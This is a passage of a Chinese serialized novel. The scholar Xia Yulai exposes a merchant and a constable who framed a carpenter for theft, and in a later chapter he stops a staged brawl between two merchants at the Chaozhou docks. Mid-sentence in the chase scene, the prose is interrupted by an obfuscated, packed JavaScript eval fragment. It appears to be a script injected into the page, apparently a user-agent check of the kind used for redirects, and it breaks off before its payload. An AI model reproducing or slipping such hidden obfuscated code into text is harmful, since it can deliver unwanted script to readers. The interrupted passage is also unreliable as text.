夏雨来道:“大人,李木匠为人忠厚,街坊邻里有目共睹,断不会做出盗窃之事。周捕头仅凭张大户家管家的一面之词,就认定李木匠是凶手,未免太过草率。而且,张大户家丢失了十锭金元宝,为何只在李木匠家中搜出一锭?这其中疑点重重,还请大人重新审理此案。” 周虎道:“夏雨来,你别在这里煽风点火!张大户家的管家亲眼看到李铁柱在张大户家后院徘徊,这还不够吗?说不定他是把其余的金元宝藏起来了!” 夏雨来道:“既然是藏起来了,为何周捕头没有搜到?而且,张大户家后院那么大,管家怎么就确定那个人是李木匠?说不定是长得相似的人呢?” 王大人点了点头:“夏秀才说得有道理。此案确实疑点重重,不能仅凭现有证据就定李铁柱的罪。周捕头,你立刻去张大户家,重新调查此事,务必查明真相。” 周虎心中虽有不甘,但也不敢违抗王大人的命令,只能道:“是,大人。” 夏雨来道:“大人,学生愿意协助周捕头一起调查,也好早日查明真相,还李木匠一个清白。” 王大人道:“好!有夏秀才帮忙,想必此案能早日水落石出。” 离开县衙后,周虎脸色阴沉地对夏雨来道:“夏雨来,你别以为王大人给你面子,你就能为所欲为!这案子我会亲自调查,不用你插手!” 夏雨来道:“周捕头,我只是想还李木匠一个清白,并没有别的意思。如果你真的能查明真相,我自然不会插手。但如果你想徇私枉法,我也绝不会坐视不管。” 周虎冷哼一声:“哼,走着瞧!” 说完,就带着衙役们匆匆离去。夏雨来看着周虎的背影,心中暗道:这个周虎,肯定和张大户有勾结,想要陷害李铁柱。看来,想要查明真相,还得靠自己。 三、暗访追查,初获线索 夏雨来回到孙老实的笔墨铺,丫丫已经吃完了粥,正坐在角落里发呆,眼神中满是担忧。夏雨来走到丫丫身边,柔声道:“丫丫,别担心,王大人已经下令重新调查此案,你爹很快就能洗清冤屈了。” 丫丫抬起头,看着夏雨来:“夏秀才,真的吗?我爹真的能出来吗?” 夏雨来道:“真的,只要我们找到证据,证明你爹是冤枉的,你爹就能出来了。” 孙老实道:“夏秀才,接下来我们该怎么办?周虎那个人,肯定不会真心调查,我们得自己想办法。” 夏雨来道:“没错。我们得从两个方面入手。第一,调查张大户家金元宝失窃的具体情况,看看有没有什么蛛丝马迹。第二,调查周虎和张大户的关系,看看他们是不是真的有勾结。” 孙老实道:“好!那我们分工合作。我去打听张大户家的情况,你去调查周虎的行踪。” 夏雨来道:“好。另外,你还要多留意丫丫的安全,派两个人暗中保护她,防止有人狗急跳墙,伤害丫丫。” 孙老实道:“放心吧,我已经安排好了。” 接下来的几天,夏雨来和孙老实分头行动。夏雨来打扮成一个货郎,背着货郎担,在周虎经常出没的地方打探消息。周虎平时喜欢在城南的醉仙楼喝酒,夏雨来就天天在醉仙楼附近摆摊。 这天,周虎带着几个衙役走进醉仙楼,看到夏雨来在门口摆摊,心中有些不爽:“又是你这个臭书生!怎么,不好好读书,跑到这里来当货郎骗钱?” 夏雨来抬起头,脸上带着笑容:“周捕头,我这可不是骗钱,我这货郎担里的东西,都是物美价廉的好东西,您要不要看看?” 周虎冷笑一声:“我才不看你的破烂玩意儿!赶紧滚开,别挡我的路!” 说着就要往里走。夏雨来道:“周捕头,别急着走啊。我听说您最近破了一桩大案,缴获了十锭金元宝,真是厉害啊!” 周虎心中一惊,没想到夏雨来竟然知道这件事。他强装镇定:“你胡说什么?我什么时候破了大案,缴获金元宝了?” 夏雨来道:“哦?没有吗?我听醉仙楼的伙计说,您昨天在这里喝酒,还跟人炫耀,说自己马上就要发大财了,有十锭金元宝入账。难道是我听错了?” 周虎脸色一变,狠狠瞪了一眼旁边的伙计,伙计吓得连忙低下头。周虎道:“你别听他们胡说八道!我只是随口说说而已。” 夏雨来道:“是吗?随口说说就能说出十锭金元宝?周捕头,您的随口一说,可真够值钱的。” 周虎被夏雨来说得哑口无言,心中有些发慌,不敢再多说,带着衙役们匆匆走进了醉仙楼。 夏雨来看着周虎的背影,嘴角露出一丝笑容。他知道,周虎肯定和张大户家的金元宝失窃案有关。看来,想要查明真相,还得从张大户家入手。 与此同时,孙老实也有了收获。他通过打听得知,张大户家确实丢失了十锭金元宝,丢失的时间是三天前的晚上。张大户家的管家说,那天晚上他看到一个身影在院子里徘徊,身形和李铁柱很像,于是就认定是李铁柱偷了金元宝。但孙老实还打听得知,张大户最近在城外买了一块地,急需一大笔银子,而他家中的金元宝丢失后,他并没有表现出太多的着急,反而像是早就知道一样。 孙老实还打听得知,周虎和张大户的关系非常密切,经常一起喝酒赌博,周虎还经常接受张大户的贿赂。孙老实把这些消息告诉了夏雨来,夏雨来心中了然。看来,这起金元宝失窃案,很可能是张大户和周虎联手策划的一场阴谋,目的就是为了侵占李铁柱的木匠铺。 原来,李铁柱的木匠铺地理位置非常好,位于北街的繁华地段,张大户早就想把这块地买下来,盖一座酒楼,但李铁柱一直不肯卖。张大户于是就和周虎联手,策划了这场金元宝失窃案,想把李铁柱定罪入狱,然后趁机霸占他的木匠铺。 夏雨来道:“孙老弟,看来我们的猜测是对的。张大户和周虎联手陷害李铁柱,就是为了霸占他的木匠铺。现在,我们得找到确凿的证据,证明他们的阴谋。” 孙老实道:“是啊,可我们该怎么找证据呢?张大户和周虎那么狡猾,肯定把证据藏得很严实。” 夏雨来道:“我们可以从两个方面入手。第一,找到张大户家金元宝失窃的真正凶手,让他指证张大户和周虎。第二,找到张大户和周虎勾结的证据,比如贿赂的书信、账目等。” 孙老实道:“好!那我们就按这个思路来。” 四、巧设圈套,引出真凶 夏雨来和孙老实商量后,决定先找到张大户家金元宝失窃的真正凶手。他们认为,张大户和周虎为了陷害李铁柱,肯定找了一个人来冒充李铁柱,在张大户家院子里徘徊,然后偷走金元宝。这个人很可能是一个地痞流氓,被张大户和周虎收买了。 夏雨来决定设一个圈套,引出这个真正的凶手。他让孙老实在城中散布消息,说李铁柱已经招供,供出了偷走金元宝的同谋,现在县衙正在悬赏捉拿这个同谋,只要有人能提供线索,就能得到五两银子的奖励。 消息散布出去后,城中的百姓们都议论纷纷。一些地痞流氓听到这个消息,都有些动心,五两银子对他们来说,可是一笔不小的数目。夏雨来和孙老实则在醉仙楼、赌坊等地方暗中观察,看看有没有人露出破绽。 这天晚上,夏雨来和孙老实正在醉仙楼里喝酒,就看到一个身材瘦小的男子鬼鬼祟祟地走进来,找了一个角落坐下,不停地四处张望。这个男子名叫吴三,是城中有名的地痞流氓,平时就喜欢偷鸡摸狗,被百姓们称为 “三只手”。 吴三坐下后,点了一壶酒和几个小菜,却没怎么吃,只是不停地喝酒,脸上露出焦虑的神色。夏雨来对孙老实使了个眼色,孙老实会意,端着酒杯走到吴三身边:“这位兄弟,独自一人喝酒多无聊啊,不如我们一起喝一杯?” 吴三看了看孙老实,又看了看夏雨来,眼中露出一丝警惕:“你们是谁?想干什么?” 孙老实道:“没什么,就是想跟兄弟交个朋友。我看兄弟好像有什么心事,不如说出来,我们或许能帮你想想办法。” 吴三犹豫了一下,喝了一口酒:“我能有什么心事?就是想喝点酒。” 孙老实道:“兄弟,别装了。我听说县衙正在悬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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第二天一早,夏雨来和孙老实带着吴三,还有那张字据,一起来到了县衙,向王大人报案。王大人听说张大户和周虎联手陷害李铁柱,非常愤怒:“岂有此理!张大户和周虎竟然敢在潮州城为非作歹,陷害忠良!来人,立刻去捉拿张大户和周虎!” 衙役们领命,立刻前往张大户家和周虎的住处捉拿二人。此时,张大户正在家中喝茶,听说衙役们来了,心中有些奇怪:“你们来干什么?” 衙役们道:“张大户,你勾结周虎,陷害李铁柱,盗窃自家金元宝,有人告你到县衙,王大人请你去一趟!” 张大户心中一惊,知道事情败露了。他想要逃跑,却被衙役们拦住,五花大绑押走了。周虎此时正在县衙里值班,听说衙役们来捉拿他,心中大乱,想要反抗,却被早有准备的衙役们制服。 张大户和周虎被押到公堂之上,王大人坐在案后,脸色铁青:“张大户,周虎,你们可知罪?” 张大户道:“大人,我何罪之有?我只是丢失了金元宝,并没有陷害李铁柱!” 周虎也道:“大人,我冤枉啊!我只是按照正常程序办案,并没有勾结张大户!” 王大人道:“你们还敢狡辩?带证人!” 衙役们把吴三带了上来。吴三走到公堂中央,指着张大户和周虎道:“大人,就是他们!是他们让我偷了张大户家的金元宝,嫁祸给李铁柱!这是他们立下的字据,上面有他们的签字画押!” 说着,他把字据递给衙役。 王大人接过字据,仔细看了看,怒喝道:“张大户,周虎,人证物证俱在,你们还有什么话要说?” 张大户和周虎看到字据,脸色惨白,再也无法抵赖。张大户道:“大人,我错了!我不该为了霸占李铁柱的木匠铺,就勾结周虎陷害他!求大人饶命!” 周虎也道:“大人,我错了!我不该收张大户的贿赂,陷害忠良!求大人饶命!” 王大人道:“你们犯下如此重罪,岂能饶命?李铁柱,你无辜被冤,本府现在宣布,你无罪释放!” 李铁柱跪在地上,激动得热泪盈眶:“谢谢大人!谢谢大人还我清白!” 王大人道:“你起来吧。张大户和周虎,本府判你们杖责五十,流放三千里!吴三,你盗窃金元宝,虽有自首情节,但也罪责难逃,本府判你杖责二十,监禁一年!” 衙役们立刻上前,把张大户、周虎和吴三拖下去行刑。百姓们听到判决,纷纷拍手称快:“王大人英明!” “真是大快人心!” “夏秀才真是厉害,又帮百姓讨回了公道!” 李铁柱走出县衙,看到等候在外面的丫丫,立刻跑过去抱住她:“丫丫,爹没事了!爹洗清冤屈了!” 丫丫哭着说:“爹!我好想你!” 父女俩相拥而泣,周围的百姓们都露出了欣慰的笑容。 夏雨来走到李铁柱身边,道:“李木匠,恭喜你洗清冤屈。以后,再也不会有人陷害你了。” 李铁柱道:“夏秀才,谢谢你!如果不是你,我这辈子就毁了!你真是我的救命恩人!” 夏雨来道:“不用客气。我只是做了我该做的事情。以后,好好过日子,照顾好丫丫。” 李铁柱点了点头:“嗯!我一定会的!” 他转头对周围的百姓们道:“谢谢大家!谢谢大家一直相信我,支持我!” 百姓们道:“李木匠,不用谢!你是个好人,好人就该有好报!” 六、市井温情,皆大欢喜 李铁柱洗清冤屈后,潮州城的百姓们都非常高兴。东门街的商户们纷纷来到李铁柱的木匠铺,给他们父女俩送来了粮食、布匹和银子。王二嫂道:“李木匠,这是我家刚捕捞的河虾,给你和丫丫补补身子。” 张五郎道:“李木匠,这是我做的豆腐,丫丫爱吃,你拿回去给她尝尝。” 孙老实道:“李木匠,这是我店里最好的徽墨和宣纸,以后你帮人打家具,记账也方便。” 夏雨来道:“李木匠,这是我给你和丫丫买的棉袍,天气冷了,别冻着。” 李铁柱看着眼前的一切,心中充满了温暖:“谢谢大家!谢谢大家的关心和帮助!我李铁柱以后一定会好好做人,多做善事,报答大家的恩情!” 丫丫也道:“谢谢夏秀才!谢谢王二嫂!谢谢张五郎!谢谢孙掌柜!谢谢大家!” 她的脸上露出了久违的笑容,像冬日里的阳光,温暖而又明亮。 李铁柱的木匠铺经过这场风波,生意反而比以前更好了。百姓们都知道李铁柱是个忠厚老实的人,纷纷来找他打家具,都说他做的家具结实耐用,价格公道。李铁柱每天都忙得不可开交,但他脸上总是挂着笑容,因为他知道,自己终于可以凭着自己的手艺,给丫丫一个安稳幸福的生活了。 这天,夏雨来和孙老实来看望李铁柱和丫丫。李铁柱正在给一张红木桌子雕花,丫丫在旁边帮忙递工具,父女俩配合得十分默契。看到夏雨来和孙老实,李铁柱连忙放下手中的刻刀:“夏秀才,孙掌柜,你们来了!快坐快坐!” 丫丫道:“夏秀才,孙掌柜,我给你们倒茶!” 她欢快地跑进屋里,端出两杯热茶。夏雨来道:“李木匠,生意不错啊!” 李铁柱道:“托大家的福,生意比以前好多了。现在每天都有很多人来找我打家具,我都快忙不过来了。” 孙老实道:“这都是你应得的!你手艺好,为人实诚,大家都愿意找你做活。” 夏雨来道:“李木匠,以后有什么困难,尽管跟我们说。我们商户联盟的人,都会帮你的。” 李铁柱道:“谢谢夏秀才!谢谢商户联盟的各位兄弟!我现在挺好的,没什么困难。倒是你们,经常来看我,还帮了我这么多,我都不知道该怎么感谢你们了。” 夏雨来道:“不用感谢。街坊邻里之间,本该互相帮助。我们商户联盟成立的目的,就是为了维护商户的利益,帮助有困难的百姓。以后,我们会继续努力,让潮州城变得更加美好,让更多的百姓感受到温暖和幸福。” 夕阳西下,金色的余晖洒在潮州城的街道上,洒在李铁柱的木匠铺里。李铁柱和丫丫送夏雨来和孙老实出门,脸上洋溢着幸福的笑容。潮州城的日子,依旧平静而又温馨。东门街的早市依旧热闹,商户们的吆喝声、顾客们的讨价还价声,交织在一起,构成了一幅生机勃勃的市井画卷。而北街的李木匠铺里,每天都充满了欢声笑语,成为了潮州城最温暖的一角。 夏雨来站在街道上,看着李铁柱和丫丫的身影,心中充满了欣慰。他知道,自己做的这一切都是值得的。保护弱势群体,帮助有困难的百姓,是他作为一个读书人的责任和担当。他会和商户联盟的人一起,继续努力,让潮州城变得更加美好,让更多的百姓感受到温暖和幸福。而李铁柱的故事,也会像潮州城的市井传说一样,被人们代代相传,成为一段温暖人心的佳话。 41. 巧止械斗 一、码头口角,火星四溅 潮州城的春天总带着股湿乎乎的暖意,韩江的水涨了些,绿莹莹的江面像铺了层翡翠,风一吹就皱起细碎的纹路。城南码头是潮州城最热闹的地界,每天天不亮,大大小小的货船就挤在岸边,搬运工们赤着膀子喊着号子,把盐巴、布匹、瓷器从船上扛下来,脚步声、号子声、船桨划水声搅在一起,比东门街的早市还热闹三分。 这天辰时刚过,码头的人潮正旺。城南 “福顺栈” 的掌柜赵老栓,正踮着脚指挥伙计卸货:“慢点!慢点!这可是苏杭来的绸缎,蹭破了一点,你们赔得起吗?” 他穿着件藏青色的绸缎马褂,肚子挺得像个圆滚滚的西瓜,手里的烟杆敲得船板 “笃笃” 响,眼神像鹰隼似的盯着每一匹绸缎。 赵老栓的福顺栈是城南最大的杂货铺,专做南来北往的生意,这些年赚得盆满钵满,在城南商户里威望极高。他身后站着几个伙计,个个腰板挺直,眼神不善地盯着对面 —— 城北 “兴盛号” 的伙计们,正把一船药材往岸上搬。 兴盛号的掌柜是个三十出头的汉子,名叫陈铁牛,长得五大三粗,胳膊上的肌肉块子鼓鼓囊囊,脸上一道浅浅的疤痕,是年轻时跑船跟水匪搏斗留下的。他为人豪爽,讲究义气,兴盛号虽然开得晚,但凭着公道的价格和实在的货物,在城北也攒下了不少口碑。 “赵掌柜,您这架子摆得够大啊!” 陈铁牛把肩上的药箱往地上一放,“咚” 的一声,震得地上的碎石子都跳了起来,“都是在码头讨生活的,您的绸缎金贵,我们的药材就不值钱了?让您的人往边上挪挪,别挡着路!” 赵老栓斜睨了他一眼,烟杆一甩,烟灰落在地上:“陈掌柜,话可不能这么说。这码头南边的地界,向来是我们福顺栈的卸货区,你们兴盛号的船,怎么停到这儿来了?” 他心里早就憋着股火 —— 最近几次,兴盛号的货船总往南边码头靠,抢了不少原本属于福顺栈的生意,他正想找机会敲打敲打这个后起之秀。 陈铁牛一听就火了,嗓门陡然提高:“什么叫你们的卸货区?这码头是官府修的,是潮州城百姓的码头,凭什么就成你家的了?” 他身后的伙计们也跟着起哄:“就是!赵老栓想霸占码头!” “太欺负人了!我们不能忍!” 赵老栓的伙计们也不甘示弱,纷纷往前站了一步,双方立刻剑拔弩张。赵老栓气得脸都红了,烟杆指着陈铁牛的鼻子:“陈铁牛,你少在这里胡搅蛮缠!我福顺栈在这码头卸货的时候,你还不知道在哪儿呢!今天你要么把船挪走,要么就别怪我不客气!” “不客气?我倒要看看你怎么不客气!” 陈铁牛撸起袖子,露出结实的胳膊,“我陈铁牛走南闯北,什么场面没见过?还怕你一个守着码头的老东西?” 两人越吵越凶,周围的商户和搬运工们都围了过来,议论纷纷。有人劝架:“都是街坊邻里,有话好好说,别伤了和气!” 也有人煽风点火:“赵掌柜可是城南的老大,陈铁牛这是太岁头上动土!” “兴盛号最近势头正盛,说不定就是故意来找茬的!” 夏雨来这天正好和孙老实一起来码头买些上好的宣纸 —— 孙老实的笔墨铺最近生意火爆,存货都快卖光了。两人刚走到码头入口,就听到前面吵吵嚷嚷,挤进去一看,正是赵老栓和陈铁牛在对峙。 “这不是赵掌柜和陈掌柜吗?” 孙老实拉了拉夏雨来的袖子,低声道,“赵老栓为人吝啬又好面子,陈铁牛脾气火爆,这俩碰在一起,怕是要出事!” 夏雨来眉头微皱,指尖捻着下巴上的一缕胡须。他看得出来,两人一开始只是为了卸货的地界起了口角,但越吵越凶,心里的火气都上来了,再加上周围人的起哄,事情恐怕要往不可收拾的方向发展。他心中暗道:都是做生意的,和气生财,为这点小事闹僵,实在不值。 就在这时,突然听到 “啪” 的一声脆响 —— 赵老栓的一个伙计,被兴盛号的伙计推了一把,手里的绸缎掉在了地上,沾了些泥点。那伙计顿时急了,捡起绸缎就冲了上去:“你敢推我?还弄脏了掌柜的绸缎!我跟你拼了!” 说着就和对方扭打在一起。 “敢打我们的人?兄弟们,上!” 赵老栓大喊一声,身后的伙计们立刻冲了上去。陈铁牛也红了眼:“兄弟们,不能让他们欺负了!给我打!” 兴盛号的伙计们也不甘示弱,双方瞬间扭打成一团。 搬运工们吓得纷纷后退,胆小的已经悄悄溜走了。孙老实也吓了一跳,拉着夏雨来往后躲:“夏秀才,咱们快走吧,别被误伤了!” 夏雨来却站着没动,眼神快速扫视着混乱的场面。他看到赵老栓和陈铁牛虽然没亲自上手,但都在一旁大喊大叫,指挥着自己的伙计。周围还有几个穿着不起眼的汉子,在人群中煽风点火,一边喊着 “打啊!别怂!”,一边偷偷观察着局势,眼神闪烁不定。 夏雨来心中一动:不对劲。赵老栓和陈铁牛虽然吵得凶,但都是生意人,应该知道打架的后果 —— 不仅耽误生意,还可能被官府追究责任。这几个煽风点火的人,看起来不像是任何一方的伙计,倒像是故意来挑事的。 他正想着,就见一个汉子偷偷从怀里掏出一把短刀,塞给了赵老栓的一个伙计,低声道:“给!用这个,教训教训他们!” 那伙计眼睛一亮,接过刀就要往人群里冲。 “住手!” 夏雨来大喝一声,声音洪亮,盖过了现场的混乱声。所有人都愣住了,纷纷停下手中的动作,看向夏雨来。 赵老栓皱了皱眉:“夏秀才?你不好好读书,跑到这里来多管闲事干什么?” 他知道夏雨来在潮州城威望不低,但现在正在气头上,也顾不上那么多了。 陈铁牛也认出了夏雨来,脸色缓和了一些,但依旧带着怒气:“夏秀才,这事跟你没关系,是我们和福顺栈的恩怨,你还是别插手了!” 夏雨来往前走了两步,脸上带着淡淡的笑容,声音平和却带着一股不容置疑的力量:“赵掌柜,陈掌柜,都是潮州城的商户,抬头不见低头见,为了一块卸货的地界,就打得头破血流,值得吗?” 那几个煽风点火的汉子见夏雨来出面,脸色微微一变,其中一个瘦高个上前一步,阴阳怪气地说:“夏秀才,这是他们两家的事,你一个读书人,懂什么做生意的难处?别在这里站着说话不腰疼!” 夏雨来瞥了瘦高个一眼,心中已然明白 —— 这几个人,肯定是冲着赵老栓和陈铁牛来的,目的就是挑起两帮人的矛盾,坐收渔翁之利。他嘴角勾起一抹冷笑,没有理会瘦高个,转头对赵老栓和陈铁牛道:“两位掌柜,不如先让伙计们住手,有话我们找个地方慢慢说。如果真要打下去,不管谁赢谁输,最后吃亏的,都是你们自己。” 赵老栓和陈铁牛对视一眼,都有些犹豫。他们心里也清楚,打架解决不了问题,但现在骑虎难下,要是就这么停手,岂不是显得自己怂了? 瘦高个见状,连忙又道:“赵掌柜,您可不能怂啊!您要是服软了,以后在城南还有什么脸面?” 另一个矮胖子也跟着起哄:“陈掌柜,他们人多势众,您要是不反击,以后他们还得欺负您!” 两人被这么一激,火气又上来了。赵老栓道:“夏秀才,今天这事,我们福顺栈占理,不能就这么算了!” 陈铁牛也道:“没错!今天必须说清楚,这码头到底是谁的!” 说着,两人又要下令伙计们动手。 夏雨来心中暗叹:这两人果然被面子冲昏了头脑。他连忙道:“两位掌柜,先别急着动手!我问你们几个问题,你们要是能答上来,再打也不迟!” 他看向赵老栓:“赵掌柜,您这船绸缎,价值多少?要是伙计们打起来,损坏了货物,损失谁来承担?官府要是追究起来,您这福顺栈,还能不能开下去?” 又看向陈铁牛:“陈掌柜,您这船药材,都是治病救人的东西,要是被糟蹋了,多少百姓要受影响?您的伙计要是受伤了,医药费、误工费,是不是都得您出?您觉得,打赢了这场架,您能得到什么?” 这一连串的问题,像一盆冷水,浇在了赵老栓和陈铁牛的头上。两人都是生意人,最看重的就是利益,被夏雨来这么一问,顿时冷静了不少。 赵老栓心里盘算着:这船绸缎价值上千两银子,要是真损坏了,损失可就大了。而且官府最近查得严,要是因为打架被抓进去,福顺栈的生意肯定要受影响。他偷偷看了一眼地上已经沾了泥点的绸缎,心疼得不行。 陈铁牛也琢磨着:伙计们要是受伤了,不仅没人干活,还得花医药费。这船药材要是被糟蹋了,自己的信誉也会受损,以后谁还敢来兴盛号买药材?他回头看了看自己的伙计,有几个已经被打得鼻青脸肿,心里顿时有些后悔。 夏雨来看出两人的心思,继续道:“两位掌柜,做生意讲究的是和气生财。你们要是因为这点小事结了仇,以后在潮州城抬头不见低头见,多尴尬?而且,你们就没想想,为什么今天会吵得这么凶?平时你们不也在码头卸货吗?怎么偏偏今天就起了冲突?” 他的目光有意无意地扫过那几个煽风点火的汉子,那几个人眼神闪烁,不敢和夏雨来对视。赵老栓和陈铁牛也顺着夏雨来的目光看去,心中顿时起了疑心。 赵老栓想起刚才那个瘦高个一直在旁边煽风点火,心中暗道:不对劲,这小子我以前没见过,他为什么这么希望我们打架?陈铁牛也觉得那几个汉子形迹可疑,他们看起来根本不像是来码头干活的,倒像是专门来挑事的。 瘦高个见两人起了疑心,知道再待下去就要露馅了,连忙对身边的几个人使了个眼色,悄悄往后退,想要溜走。 “站住!” 夏雨来大喝一声,“你们几个,鬼鬼祟祟的,不是来挑事的是什么?给我把他们拦住!” 周围的百姓们早就看这几个人不顺眼了,闻言立刻围了上去,把瘦高个几人拦住。赵老栓和陈铁牛也反应过来,连忙让伙计们上前,把几个人控制住。 瘦高个挣扎着喊道:“你们干什么?放开我!我只是来看热闹的!” “看热闹?” 夏雨来走到他面前,冷笑一声,“刚才是谁在旁边煽风点火,让他们打架的?是谁偷偷给伙计塞刀的?你以为我们都瞎了吗?” 周围的百姓们也纷纷作证:“没错!就是他!一直在旁边喊‘打啊’!” “我也看到了,他给福顺栈的伙计塞了一把刀!” 铁证如山,瘦高个几人顿时面如死灰,再也说不出话来。赵老栓和陈铁牛这才明白,自己是被人当枪使了,心中又气又悔。 赵老栓走上前,对着夏雨来抱了抱拳:“夏秀才,多亏了你提醒,不然我们今天可就闯大祸了!” 陈铁牛也道:“夏秀才,谢谢你!要不是你,我们还被蒙在鼓里,不知道要被这些人算计到什么时候!” 夏雨来道:“两位掌柜客气了。都是街坊邻里,互相提醒是应该的。现在当务之急,是把这几个人交给官府,查明他们的来历和目的。至于你们之间的矛盾,我们找个地方,慢慢商量解决。” 赵老栓和陈铁牛连连点头:“好!听夏秀才的!” 二、酒馆议事,矛盾升级 夏雨来让赵老栓和陈铁牛的伙计们看好那几个挑事的汉子,自己则带着两人来到了码头附近的 “悦来酒馆”。酒馆老板见是夏雨来,连忙迎了上来:“夏秀才,您来了!快里面请!” 又看到赵老栓和陈铁牛,脸上的笑容更热情了,“哟,赵掌柜、陈掌柜也来了!快请坐,我这就给您上最好的酒!” 三人找了个靠窗的桌子坐下,老板很快端上了一壶好酒和几碟小菜。夏雨来给两人各倒了一杯酒:“两位掌柜,先喝口酒,压压惊。” 赵老栓端起酒杯,喝了一口,叹了口气:“夏秀才,今天这事,真是多亏了你。要是真打起来,后果不堪设想啊!” 他现在想想,还觉得后怕 —— 要是伙计们真用了那把刀,伤了人,自己说不定还要吃牢饭。 陈铁牛也喝了一口酒,道:“是啊!我也没想到,竟然有人故意挑事。夏秀才,你说这些人是谁派来的?他们为什么要挑拨我们两家的关系?” 他心里充满了疑惑,自己在潮州城没得罪什么人,福顺栈和兴盛号虽然有竞争,但也不至于到你死我活的地步。 夏雨来放下酒杯,道:“具体是谁派来的,现在还不好说。不过,肯定是冲着你们两家来的。你们想想,福顺栈是城南最大的杂货铺,兴盛号是城北崛起的新势力,你们两家要是打起来,生意肯定会受影响,甚至可能倒闭。到时候,受益的是谁?” 赵老栓和陈铁牛对视一眼,都明白了夏雨来的意思。赵老栓道:“夏秀才,你的意思是,有人想趁机吞并我们两家的生意?” 陈铁牛也道:“难道是城西的‘同德堂’?他们最近一直想扩张,好几次都想抢我们的生意!” 同德堂的掌柜钱万通,为人阴险狡诈,手段毒辣,在潮州城名声很不好。他的同德堂原本只是个小药铺,这些年靠着不正当的手段,吞并了不少小商户,逐渐壮大起来,成为了潮州城第三大商户。 夏雨来道:“有这个可能。不过,现在没有证据,不能妄下定论。等把那几个人交给官府审问,真相自然会水落石出。” 他顿了顿,又道:“不过,话说回来,你们两家今天的冲突,也不仅仅是因为有人挑事。码头的卸货问题,确实是个隐患。要是这个问题不解决,以后难免还会起冲突。” 赵老栓放下酒杯,脸上露出为难的神色:“夏秀才,不瞒你说,这码头南边的地界,我们福顺栈已经用了十几年了。以前码头的生意没这么好,大家各卸各的,相安无事。可最近这两年,来往的货船越来越多,码头越来越拥挤,兴盛号的船总往南边靠,我们的伙计卸货都不方便了。” 陈铁牛也道:“夏秀才,我也有难处。我们兴盛号的货船都是大船,城北的码头水位浅,靠不了岸,只能停在城南。我们也不想抢福顺栈的地界,可实在是没办法啊!” 他语气中带着一丝无奈 —— 自己跑了好多次官府,想让官府扩建城北码头,可官府一直以 “资金不足” 为由推脱。 赵老栓道:“没办法也不能抢别人的地界啊!我们福顺栈的货船也不少,要是你们占了南边的地界,我们的货往哪儿卸?” “我也没说要霸占南边的地界啊!” 陈铁牛也来了火气,“我们只是想临时停靠一下,卸完货就走,可你们的伙计每次都故意刁难,不让我们靠岸!” “谁刁难你们了?” 赵老栓也提高了嗓门,“是你们的船每次都停在最方便卸货的位置,让我们的伙计绕远路,耽误了不少时间!” 两人说着,又吵了起来。夏雨来连忙劝道:“两位掌柜,别激动!有话好好说。你们的难处,我都理解。赵掌柜,福顺栈用南边的地界用了十几年,有感情,不想让别人占,这我能理解。陈掌柜,兴盛号的船大,城北码头靠不了岸,只能停在城南,这也是事实。” 他喝了一口酒,继续道:“其实,解决这个问题,也不是没有办法。你们可以商量一下,划分一下码头的卸货区域。比如,南边的地界,福顺栈优先使用,但给兴盛号留一个泊位,让他们的大船可以停靠。城北的码头,要是官府同意扩建,兴盛号以后就可以在城北卸货,这样大家就不用再争了。” 赵老栓沉吟道:“划分区域?让兴盛号在南边停靠?这恐怕不行。我们福顺栈的货船本来就多,再给他们留一个泊位,我们的货就更卸不完了。” 陈铁牛也道:“扩建城北码头?官府一直推脱,不知道要等到什么时候。我们总不能一直等吧?” 夏雨来道:“赵掌柜,你可以算算,要是你们一直和兴盛号起冲突,耽误了卸货,损失的钱有多少。给兴盛号留一个泊位,虽然你们的伙计卸货会麻烦一点,但至少不会起冲突,不会耽误生意。而且,你们还能和兴盛号达成合作,互相照应,以后再有别人想欺负你们,也有个帮手。” 他又看向陈铁牛:“陈掌柜,扩建城北码头的事,我可以帮你想想办法。我认识县衙的王大人,我可以帮你去说说情,让官府尽快拨款扩建码头。不过,这需要时间。在这之前,你也得体谅一下赵掌柜,尽量不要影响福顺栈的卸货。” 赵老栓和陈铁牛都沉默了。他们心里清楚,夏雨来说的是实话。继续冲突下去,对谁都没有好处。合作共赢,才是最好的选择。 赵老栓道:“夏秀才,你说的有道理。可是,让我们给兴盛号留泊位,我们的伙计肯定有意见。而且,这也显得我们福顺栈怕了他们。” 他还是放不下自己的面子。 陈铁牛也道:“夏秀才,我也不想影响福顺栈的卸货。可是,我们的货船实在是太大了,要是不在南边停靠,根本没法卸货。要不这样,我们每次卸货,给福顺栈一些补偿?” 赵老栓眼睛一亮:“补偿?怎么补偿?” 他心里的算盘打得噼啪响 —— 要是补偿的钱足够多,让一个泊位也不是不行。 陈铁牛道:“我们每次在南边码头卸货,给福顺栈五十两银子作为补偿。你觉得怎么样?” 五十两银子,对兴盛号来说,虽然不是小数目,但总比和福顺栈起冲突,耽误生意强。 赵老栓心中盘算了一下:福顺栈一个月大概能遇到三四次兴盛号来卸货,这样一个月就能多赚一百多两银子,一年就是一千多两。这笔钱,足够雇佣两个额外的伙计,专门负责引导货船,也能弥补耽误卸货的损失。他脸上露出了笑容:“五十两银子?可以!不过,你们必须保证,每次卸货都尽快,不能耽误我们的时间。” 陈铁牛道:“没问题!我们每次卸货,一定在两个时辰内完成,绝不耽误福顺栈的生意!” 两人一拍即合,脸上都露出了笑容。夏雨来也松了口气:“这样就好!两位掌柜,以后就是合作伙伴了,要互相照应,互相体谅。以后再有什么问题,好好商量,不要再动不动就吵架打架了。” 赵老栓和陈铁牛连连点头:“一定!一定!听夏秀才的!” 就在这时,酒馆的门被推开了,一个伙计慌慌张张地跑了进来:“掌柜的!不好了!码头那边又打起来了!” 赵老栓和陈铁牛脸色一变,连忙站起来:“怎么回事?不是让他们看好那几个挑事的吗?怎么又打起来了?” 伙计道:“是…… 是同德堂的人!他们带了好多人,去码头找我们的麻烦,说我们的伙计偷了他们的货物,然后就打起来了!” “同德堂?” 赵老栓和陈铁牛对视一眼,都明白了 —— 挑事的人,果然是同德堂派来的! 夏雨来眉头一皱:“不好!钱万通这是想趁火打劫!我们快回码头看看!” 三、兵临城下,剑拔弩张 